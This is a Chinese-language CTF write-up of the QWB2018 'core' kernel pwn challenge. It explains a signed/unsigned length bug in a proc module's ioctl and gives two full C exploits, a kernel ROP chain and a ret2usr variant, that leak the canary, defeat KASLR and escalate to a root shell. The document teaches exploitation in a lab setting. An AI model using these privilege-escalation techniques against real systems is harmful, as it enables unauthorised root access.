四个文件,vmlinux不用提取了。
开了kaslr。
我们说内核的保护分四种,隔离、访问控制、异常检测、随机化。
随机化有两种,一个是kaslr,一个是fgkaslr。
在开启了 KASLR 的内核中,内核的代码段基地址等地址会整体偏移。
然后解压文件系统,看看init文件相关配置。
mkdir core
cp core.cpio ./core
cd core
mv ./core.cpio core.cpio.gz
#因为cpio是经过gzip压缩过的,必须更改名字,gunzip才认识
gunzip ./core.cpio.gz
#gunzip解压一会cpio才可以认识,不然就会报畸形数字
cpio -idmv < ./core.cpio
#cpio是解压指令 -idmv是它的四个参数
#-i或--extract 执行copy-in模式,还原备份档。
#-d或--make-directories 如有需要cpio会自行建立目录。
#-v或--verbose 详细显示指令的执行过程。
#-m或preserve-modification-time 不去更换文件的更改时间
挂载了core.ko
然后丢到ida
module
先说proc_create是个啥。
现说proc是个啥
Proc文件系统
Proc File System是一个虚拟的文件系统,可以理解为内核对用户开放的接口,让内核和用户进程进行数据交换 (读取内核进程的数据,修改内核参数等)
要创建一个Proc file需要实现file_operation结构体,主要实现read和write就可以了。然后通过proc_create来注册。将模块注册到内核后,就能在/proc/目录找到我们的文件。
对该文件进行读写就能实现用户进程与内核的通信。
所以说proc_create的作用只不过是将模块注册到内核,然后能在proc目录中找到,对该文件可以读写。
后面的参数稍微看一下。
static inline struct proc_dir_entry *proc_create(
const char *name, umode_t mode, struct proc_dir_entry *parent,
const struct file_operations *proc_fops)
{
return proc_create_data(name, mode, parent, proc_fops, NULL);
}
name名字,mode模式
parent是父,当值为0默认父是/proc
proc_fops是函数操作表。
ioctl
定义了三条命令,分别调用 core_read(),core_copy_func() 和设置全局变量 off
write
向全局变量name上写东西。
read
从v5拷贝64字节到用户空间,但是我们可以控制off,所以可以完成一些操作。
copy
从全局变量 name 中拷贝数据到局部变量中,长度是由我们指定的,当要注意的是 qmemcpy 用的是 unsigned __int16,它占两个字节还是无符号的
但传递的长度是 signed __int64,因此如果控制传入的长度是个负数,而且低二字节比较大,就可以栈溢出了 。
所以说半天思路还是比较清晰的,先通过read泄露canary,然后通过write跟copy布置rop就好了。
布置rop干点啥,要执行一个函数,也就是我们说的内核可以控制权限的函数
commit_creds(prepare_kernel_cred(0)) 也是最常用的提权手段,两个函数的地址都可以在 /proc/kallsyms 中查看。
然后返回用户态,起个shell。
要注意的是什么呢?
1、首先我们需要写从/proc/kallsyms中去寻找地址的代码,找到他们的偏移。
2、然后我们因为开了kaslr,所以我们vmlinux会偏移,我们可以泄露vmlinux的基地址,最后得到偏移offset。得到有啥用过,我们要去找gadget来做溢出。
找gadget要用ropper去找。
3、我们最后要返回用户态去执行system,为啥,因为在内核空间想要去修改文件系统啊啥的都非常麻烦。所以我们就先保存寄存器的内容,然后最后通过swapgs; iretq去到这个用户态。
exp
QWB2018_core [master●●] cat exploit.c
// gcc exploit.c -static -masm=intel -g -o exploit
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
void spawn_shell()
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);
}
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0;
size_t find_symbols()
{
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */
if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}
char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return 0;
if(strstr(buf, "commit_creds") && !commit_creds)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
/* printf("hex: %s\n", hex); */
sscanf(hex, "%llx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
/*
* give_to_player [master●●] bpython
bpython version 0.17.1 on top of Python 2.7.15 /usr/bin/n
>>> from pwn import *
>>> vmlinux = ELF("./vmlinux")
[*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/vmli'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000)
RWX: Has RWX segments
>>> hex(vmlinux.sym['commit_creds'] - 0xffffffff81000000)
'0x9c8e0'
*/
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %p\n", vmlinux_base);
}
if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
/* printf("vmlinux_base addr: %p\n", vmlinux_base); */
}
}
if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
exit(0);
}
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void set_off(int fd, long long idx)
{
printf("[*]set off to %ld\n", idx);
ioctl(fd, 0x6677889C, idx);
}
void core_read(int fd, char *buf)
{
puts("[*]read to buf.");
ioctl(fd, 0x6677889B, buf);
}
void core_copy_func(int fd, long long size)
{
printf("[*]copy from user with size: %ld\n", size);
ioctl(fd, 0x6677889A, size);
}
int main()
{
save_status();
int fd = open("/proc/core", 2);
if(fd < 0)
{
puts("[*]open /proc/core error!");
exit(0);
}
find_symbols();
// gadget = raw_gadget - raw_vmlinux_base + vmlinux_base;
ssize_t offset = vmlinux_base - raw_vmlinux_base;
set_off(fd, 0x40);
char buf[0x40] = {0};
core_read(fd, buf);
size_t canary = ((size_t *)buf)[0];
printf("[+]canary: %p\n", canary);
size_t rop[0x1000] = {0};
int i;
for(i = 0; i < 10; i++)
{
rop[i] = canary;
}
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)
rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;
rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;
rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;
rop[i++] = (size_t)spawn_shell; // rip
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd, rop, 0x800);
core_copy_func(fd, 0xffffffffffff0000 | (0x100));
return 0;
}
然后打包起来,丢出去,启动。
find . | cpio -o --format=newc > core.cpio
cp core.cpio ..
cd ..
./start.sh
记得要把启动文件里的内存它之前开的是64M.太小了,跑会报错,改成128M.
这道题也可以用ret2usr的做法来做。
啥是个ret2usr
ret2usr 攻击利用了 用户空间的进程不能访问内核空间,但内核空间能访问用户空间 这个特性来定向内核代码或数据流指向用户控件,以 ring 0 特权执行用户空间代码完成提权等操作。
与上面rop不同的是啥
kernel rop 通过 内核空间的 rop 链达到执行 commit_creds(prepare_kernel_cred(0)) 以提权目的,之后通过 swapgs; iretq 等返回到用户态,执行用户空间的 system("/bin/sh") 获取 shell
ret2usr 做法中,直接返回到用户空间构造的 commit_creds(prepare_kernel_cred(0)) (通过函数指针实现)来提权,虽然这两个函数位于内核空间,但此时我们是 ring 0 特权,因此可以正常运行。之后也是通过 swapgs; iretq 返回到用户态来执行用户空间的 system("/bin/sh")
之所以要 ret2usr,是因为一般情况下在用户空间构造特定目的的代码要比在内核空间简单得多
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void get_shell(void){
system("/bin/sh");
}
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0;
size_t find_symbols()
{
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */
if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}
char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return 0;
if(strstr(buf, "commit_creds") && !commit_creds)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
/* printf("hex: %s\n", hex); */
sscanf(hex, "%llx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %p\n", vmlinux_base);
}
if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
/* printf("vmlinux_base addr: %p\n", vmlinux_base); */
}
}
if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
exit(0);
}
}
void get_root()
{
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
/* puts("[*] root now."); */
}
void set_off(int fd, long long idx)
{
printf("[*]set off to %ld\n", idx);
ioctl(fd, 0x6677889C, idx);
}
void core_read(int fd, char *buf)
{
puts("[*]read to buf.");
ioctl(fd, 0x6677889B, buf);
}
void core_copy_func(int fd, long long size)
{
printf("[*]copy from user with size: %ld\n", size);
ioctl(fd, 0x6677889A, size);
}
int main(void)
{
find_symbols();
size_t offset = vmlinux_base - raw_vmlinux_base;
save_status();
int fd = open("/proc/core",O_RDWR);
set_off(fd, 0x40);
size_t buf[0x40/8];
core_read(fd, buf);
size_t canary = buf[0];
printf("[*]canary : %p\n", canary);
size_t rop[0x30] = {0};
rop[8] = canary ;
rop[10] = (size_t)get_root;
rop[11] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[12] = 0;
rop[13] = 0xffffffff81050ac2 + offset; // iretq; ret;
rop[14] = (size_t)get_shell;
rop[15] = user_cs;
rop[16] = user_rflags;
rop[17] = user_sp;
rop[18] = user_ss;
puts("[*] DEBUG: ");
getchar();
write(fd, rop, 0x30 * 8);
core_copy_func(fd, 0xffffffffffff0000 | (0x100));
}
最根本的区别就是把上面所需要rop构造出来的提权过程commit_creds(prepare_kernel_cred(0))直接写了一个函数,从而不需要rop调用,直接调用函数即可。